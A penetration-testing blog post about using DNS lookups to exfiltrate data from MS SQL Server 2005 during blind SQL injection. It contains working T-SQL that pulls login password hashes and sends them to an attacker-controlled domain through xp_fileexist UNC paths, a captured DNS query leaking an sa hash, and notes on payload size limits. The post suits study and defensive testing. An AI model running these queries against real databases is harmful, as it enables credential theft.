Exfiltrating Data From MS SQL Server Via DNS
Exfiltrating data via Blind SQL Injection vulnerabilities can be slow, or the very least undesirably noisy. DNS may provide a faster alternative if the target system is connected to the Internet.
Below are some notes I made on exfiltrating data from MS SQL Server 2005.
Why Blind SQL Injection can be a Pain
Since the injection is blind, you don’t have the luxury of getting data out fast with a UNION SELECT, or using MS SQL server error messages.
Depending on your definition of “Blind SQL Injection” you might be able to use differing responses from the app to extract data 1 bit at time by asking “yes or no” questions. In the worst case, you’ll have to use something like WAITFOR DELAY or BENCHMARK to painstakingly extract data in a bitwise fashion.
Even with the help of automated tools, this process can be slow. Owing to the fact you normally need 1 request for each bit of data you extract, you’ll typically need hundreds or even thousands of queries. Traditional exploitation of blind SQL injection is therefore a very noisy attack.
Some Potential Alternatives
There may not be any other options open to you, but if you’re lucky there’ll be a shortcut. For example you might be able to:
- open a database connection from the backend database to a database you control.
- export data to a file and read the file back by some other means.
- write data of interest to another part of the database you can read (e.g. change the first line of your address to be the admin’s password hash).
- to embed the answer to your SQL queries in a DNS request.
Using DNS to Exfiltrate Data
DNS requests are arguably more likely to be allowed out from the database server to arbitrary hosts on the Internet than any other query. Even if the Firewall is doing its job properly and preventing the database server from sending data directlyto the internet, a DNS request originating from the server may still be allowed out via an internal DNS server.
Our challenge is simply to embed the result of our SQL query in the DNS request and to capture it when it makes its way onto the Internet.
Conceptually what we’re trying to achieve with our SQL injection is something like the following:
do_dns_lookup( (select top 1 password from users) + '.pentestmonkey.net' );
We want to use a SELECT statement to obtain the password hash we’re interested in, append a domain name which we control to the end of it (e.g. pentestmonkey.net). Finally we perform a DNS lookup (address-record lookup for a fictitious hostname). We then run a packet sniffer on the name server for our domain and wait for the DNS record containing our hash.
someserver.example.com.1234 > ns.pentestmonkey.net.53 A? 0x1234ABCD.pentestmonkey.net
The string “0x1234ABCD” here represents the password hash we hope to extract using our SELECT statement. In his recent book, David Litchfield talks about how to use UTL_INADDR on Oracle to exfiltrate password hashes via DNS. The rest of this blog entry contains the notes I made while trying to apply the same technique to SQL Server 2005
Using DNS to Exfiltrate Data from SQL Server 2005
So far I’ve only figured out how to do this given database administrator level credentials. The following examples assumes you’ve already have this level of privilege (e.g. from your sql injection).
Several stored procedures can take hostnames as arguments (usually as UNC paths). The ones I’ve looked at so far are:
- bulk insert mytable from ‘\somehostshare$file’;
- xp_fileexist ‘\somehostshare$file’;
Both are available to database admins by default on SQL Server 2005. Note that xp_fileexist doesn’t throw an error if your privileges are too low. If you don’t have sufficient privileges, xp_fileexist always returns a “file doesn’t exist” type response without actually processing the filename. If you’re using SQL Server 2000 try xp_getfiledetails as this can be run by non-priv users.
I had some problems when I tried to include variable data as part of the hostname. Concatenation and subselects seem to be disallowed in most places where you’d want it:
- bulk insert mytable from ‘\’ + ‘yourdatahere’ + ‘share$file; — doesn’t work
- exec(‘xp_fileexist ”\’ + (select top 1 password from users) + ”’share$file”’; — doesn’t work
I was left with the following rather cumbersome example.
declare @host varchar(800);
select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins;
exec('xp_fileexist ''\' + @host + 'c$boot.ini''');
It works, though. Here’s the DNS query observed from the pentestmonkey.net name server:
11:30:07.276608 IP 10.0.0.1.1605 > 10.0.0.2.53: 3662+ A? sa-0x01004086ceb6370f972f9c9125fb8919e8078b3f3c3df37efdf0.2.pentestmonkey.net. (95)
Note: Failed lookups seem to get cached, so the same SQL query won’t produce the same DNS query twice. To make sure that each query is different you can use a unique ID in the hostname (e.g. the “.2.” in the example above).
Since the hash is 52 bytes long (416-bits), this simple DNS trick just saved us 416 queries traditionally required to exfiltrate the hash using “yes or no” queries.
How much data can go in a DNS request?
This will probably depend on multiple factors such as the function to which the hostname is passed, and any length limitations imposed by nameservers which process the query before we see it.
In the case of MS SQL Server 2005 running on Windows 2003 I noticed two limitations:
1: No more that 63 characters are allowed for any subdomain / hostname section. The following is therefore the longest hostname I could form using only 2 dots:
I was not able to add more data by using a domain name shorter than “pentestmonkey.net”.
2: The total length of the hostname seems to be capped at 248 characters
Some of this cannot contain useful data (i.e. a certain number of dots are required, and the domain name itself “pentestmonkey.net” does not contain any useful data). In the case of my domain, it was possible to store a maximum of 227 bytes of data in a DNS request.
012345678911234567892123456789312345678941234567895123456789612. 01234567891123456789212345678931234567894123456789512345678961b. 01234567891123456789212345678931234567894123456789512345678961c. 12345678901234567890123456789012345678.pentestmonkey.com.
In this case, a shorter domain name DOES allow you to send more data.
The difficulty is that very long hostnames like this one seem to need a dot every 64 characters. This is something you’d need to concern yourself with while creating the hostname string within the SQL injection.
Please feel free to mail me if you think any of this is in error, or if you can offer any refinements.
Posted in Blog